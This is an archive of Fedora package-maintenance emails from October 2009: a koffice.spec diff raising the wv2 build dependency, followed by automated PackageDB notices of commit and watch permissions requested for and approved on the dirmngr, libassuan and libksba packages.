Log Message:
upstreamed



--- wv2-0.4.0-LIB_SUFFIX.patch DELETED ---



From rdieter at fedoraproject.org  Fri Oct  9 15:26:45 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 15:26:45 +0000 (UTC)
Subject: rpms/koffice/devel koffice.spec,1.123,1.124
Message-ID: <20091009152645.E0AD911C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1106

Modified Files:
	koffice.spec 
Log Message:
* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 3:2.0.83-2
- rebuild (wv2)



Index: koffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/koffice.spec,v
retrieving revision 1.123
retrieving revision 1.124
diff -u -p -r1.123 -r1.124
--- koffice.spec	4 Oct 2009 05:07:05 -0000	1.123
+++ koffice.spec	9 Oct 2009 15:26:44 -0000	1.124
@@ -12,7 +12,7 @@
 Name:           koffice
 Epoch:          3 
 Version:        2.0.83
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        An integrated office suite
 
 Group:          Applications/Productivity
@@ -67,7 +67,7 @@ BuildRequires: pstoedit
 BuildRequires: qca2-devel
 BuildRequires: qimageblitz-devel
 BuildRequires: readline-devel
-BuildRequires: wv2-devel >= 0.4.0
+BuildRequires: wv2-devel >= 0.4.1
 
 %description
 KOffice is an integrated office suite.
@@ -807,6 +807,9 @@ update-desktop-database -q &> /dev/null 
 
 
 %changelog
+* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 3:2.0.83-2
+- rebuild (wv2)
+
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 3:2.0.83-1
 - koffice-2.0.83
 



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:32 +0000
Subject: [pkgdb] dirmngr: tmraz has requested watchcommits
Message-ID: <20091009153332.AC2DC10F8A1@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on dirmngr (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:30 +0000
Subject: [pkgdb] dirmngr: tmraz has requested watchbugzilla
Message-ID: <20091009153330.0D66010F892@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on dirmngr (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:35 +0000
Subject: [pkgdb] dirmngr: tmraz has requested commit
Message-ID: <20091009153335.69C7410F8A3@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on dirmngr (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:37 +0000
Subject: [pkgdb] dirmngr: tmraz has requested approveacls
Message-ID: <20091009153339.5C45410F8A9@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on dirmngr (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:44 +0000
Subject: [pkgdb] dirmngr: tmraz has requested watchbugzilla
Message-ID: <20091009153344.E2A1310F892@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on dirmngr (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:47 +0000
Subject: [pkgdb] dirmngr: tmraz has requested watchcommits
Message-ID: <20091009153347.E2C6710F895@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on dirmngr (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:49 +0000
Subject: [pkgdb] dirmngr: tmraz has requested commit
Message-ID: <20091009153349.4ECAA10F8A1@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on dirmngr (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:50 +0000
Subject: [pkgdb] dirmngr: tmraz has requested approveacls
Message-ID: <20091009153351.1A1A610F8A9@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on dirmngr (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:54 +0000
Subject: [pkgdb] dirmngr: tmraz has requested watchbugzilla
Message-ID: <20091009153354.9F68710F895@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on dirmngr (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:56 +0000
Subject: [pkgdb] dirmngr: tmraz has requested watchcommits
Message-ID: <20091009153356.4CDE110F8AD@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on dirmngr (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:33:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:33:58 +0000
Subject: [pkgdb] dirmngr: tmraz has requested commit
Message-ID: <20091009153358.E013510F8AB@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on dirmngr (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:34:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:34:00 +0000
Subject: [pkgdb] dirmngr: tmraz has requested approveacls
Message-ID: <20091009153400.D6A2C10F8AF@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on dirmngr (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:39:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:39:53 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009153953.6F2D310F844@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on dirmngr (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:39:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:39:53 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009153953.8CEEE10F894@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on dirmngr (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:39:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:39:54 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009153954.E16DA10F8A3@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on dirmngr (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:39:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:39:55 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009153955.98A9C10F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on dirmngr (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:40:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:40:02 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009154002.6C6D510F880@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on dirmngr (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:40:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:40:03 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009154003.8626910F8A3@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on dirmngr (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:40:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:40:04 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009154004.6D0CA10F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on dirmngr (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:40:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:40:07 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009154007.CBF7710F8AB@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on dirmngr (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:40:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:40:07 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009154007.F2DBF10F880@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on dirmngr (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:40:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:40:09 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009154009.B445510F8B9@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on dirmngr (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:40:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:40:08 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009154008.CF91F10F8B6@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on dirmngr (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:40:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:40:12 +0000
Subject: [pkgdb] dirmngr had acl change status
Message-ID: <20091009154012.D89CF10F8BF@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on dirmngr (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/dirmngr



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:02 +0000
Subject: [pkgdb] libassuan: tmraz has requested watchbugzilla
Message-ID: <20091009154802.EDEF210F880@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on libassuan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:12 +0000
Subject: [pkgdb] libassuan: tmraz has requested watchcommits
Message-ID: <20091009154812.5A9B110F895@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on libassuan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:10 +0000
Subject: [pkgdb] libassuan: tmraz has requested approveacls
Message-ID: <20091009154810.DBBE510F880@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on libassuan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:12 +0000
Subject: [pkgdb] libassuan: tmraz has requested commit
Message-ID: <20091009154812.7007A10F8A4@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on libassuan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:19 +0000
Subject: [pkgdb] libassuan: tmraz has requested watchbugzilla
Message-ID: <20091009154819.C9F8D10F880@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on libassuan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:20 +0000
Subject: [pkgdb] libassuan: tmraz has requested watchcommits
Message-ID: <20091009154820.92B8F10F895@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on libassuan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:21 +0000
Subject: [pkgdb] libassuan: tmraz has requested commit
Message-ID: <20091009154822.0B2EB10F8A4@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on libassuan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:22 +0000
Subject: [pkgdb] libassuan: tmraz has requested approveacls
Message-ID: <20091009154822.277AD10F8AB@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on libassuan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:23 +0000
Subject: [pkgdb] libassuan: tmraz has requested approveacls
Message-ID: <20091009154823.9CFA010F8AD@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on libassuan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:24 +0000
Subject: [pkgdb] libassuan: tmraz has requested commit
Message-ID: <20091009154824.2B2A110F8B3@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on libassuan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:25 +0000
Subject: [pkgdb] libassuan: tmraz has requested watchcommits
Message-ID: <20091009154825.6E38810F8B5@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on libassuan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:26 +0000
Subject: [pkgdb] libassuan: tmraz has requested watchbugzilla
Message-ID: <20091009154826.D81EA10F8A1@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on libassuan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:42 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154842.2ADC410F880@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libassuan (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:43 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154844.11FCB10F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libassuan (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:45 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154845.325A610F8AC@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libassuan (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:47 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154847.3C5F310F844@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libassuan (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:47 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154847.7002A10F8B3@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libassuan (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:48 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154848.2692310F880@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on libassuan (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:54 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154854.B285B10F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libassuan (Fedora 8) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:48:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:48:54 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154854.BE4B710F895@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libassuan (Fedora 8) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:00 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154900.E20EE10F880@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libassuan (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:07 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154907.4B7E510F880@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libassuan (Fedora 8) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:12 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154912.CA4B010F895@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libassuan (Fedora 10) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:14 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154914.47BAF10F8A8@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libassuan (Fedora 10) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:15 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154915.E0B2C10F8AF@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libassuan (Fedora 10) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:17 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154917.8AFCE10F844@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libassuan (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:18 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154918.22CE710F892@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libassuan (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:19 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154919.CC41A10F895@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libassuan (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:20 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154920.C31FD10F894@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libassuan (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:22 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154922.4BF4410F8C2@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libassuan (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:23 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154923.3FF0010F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on libassuan (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:25 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154925.B56D910F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on libassuan (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:26 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154926.DB39E10F844@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libassuan (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:28 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154928.4C43210F8B7@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on libassuan (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:29 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154929.47E3810F8BC@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libassuan (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:30 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154930.810C710F8AC@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libassuan (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:34 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154934.E341110F8B1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libassuan (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:37 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154937.0F54110F8C2@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on libassuan (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:49:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:49:40 +0000
Subject: [pkgdb] libassuan had acl change status
Message-ID: <20091009154941.0333110F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on libassuan (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libassuan



From pkgdb at fedoraproject.org  Fri Oct  9 15:50:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:50:57 +0000
Subject: [pkgdb] libksba: tmraz has requested watchbugzilla
Message-ID: <20091009155057.94B0B10F8A4@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on libksba (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libksba



From pkgdb at fedoraproject.org  Fri Oct  9 15:50:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:50:59 +0000
Subject: [pkgdb] libksba: tmraz has requested watchcommits
Message-ID: <20091009155059.1C86010F8AB@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on libksba (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libksba



